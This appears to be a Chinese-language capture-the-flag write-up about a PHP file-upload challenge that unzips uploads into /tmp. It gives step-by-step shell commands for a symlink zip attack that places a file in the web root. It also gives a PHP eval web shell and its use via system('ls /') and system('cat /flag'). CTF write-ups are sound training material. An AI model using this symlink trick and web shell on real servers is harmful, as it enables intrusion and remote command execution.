赞
踩
打开之后是一个上传框,随便上传一张图片,显示:
<?php error_reporting(0); highlight_file(__FILE__); $finfo = finfo_open(FILEINFO_MIME_TYPE); if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){ exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]); }; //only this!
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip')
验证MIME值,确定上传的文件类型为zip,说明要上传一个zip压缩文件
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
把压缩包解压到/tmp目录下
在 Linux 系统中,如果使用 Apache 服务器,默认的 Web 根目录是/var/www/html。
上传解压后的文件被解压到/tmp目录下,并且不能直接访问到/tmp目录,但可以直接访问网站根目录/var/www/html。
想办法实现目录跳转,想到了软链接(和Windows的快捷方式类似):
①使/tmp目录下的link与网站根目录/var/www/html建立软链接
(了解软硬链接:Linux-33Linux文件系统命令-ln链接中符号链接和硬链接的应用场景哔哩哔哩bilibili)
②上传一句话木马,时期被解压到网站根目录下
③用蚁剑,菜刀或者参数访问查询flag
总结:
依次上传两个zip文件,第一个zip文件slink.zip解压之后建立软链接(此时slink相当于/var/www/html)
第二个zip文件包含一句话木马,且解压之后的名字和第一个zip文件解压之后的名字一样,因此把第一个zip文件解压之后覆盖
(第二个zip文件的结构:slink2.zip/slink/shell.php(shell.php里面是一句话木马),解压之后把原来解压得到的slink替换掉,shell.php相当于是在/var/www/html/shell.php)
ln -s /var/www/html slink
此时slink就相当于/var/www/html
zip --symlink slink.zip
ls显示:
slink slink.zip
mkdir slink ls: slink slink.zip
cd slink echo "<?php phpinfo();?>" >>shell.php ls: shell.php
zip -r slink2.zip ./slink2/* ls: slink2.zip slink.zip slink
先上传slink.zip 再上传slink2.zip
访问/shell.php
显示的内容是php探针(phpinfo),说明操作正确
把一句话木马改成:
<?php eval($_POST['niubi']);?>
蚁剑连接,成功找到flag
访问/shell.php
POST提交:niubi=system('ls /');
显示:
bin boot dev etc flag home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var
niubi=system('cat /flag');
成功得到flag
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。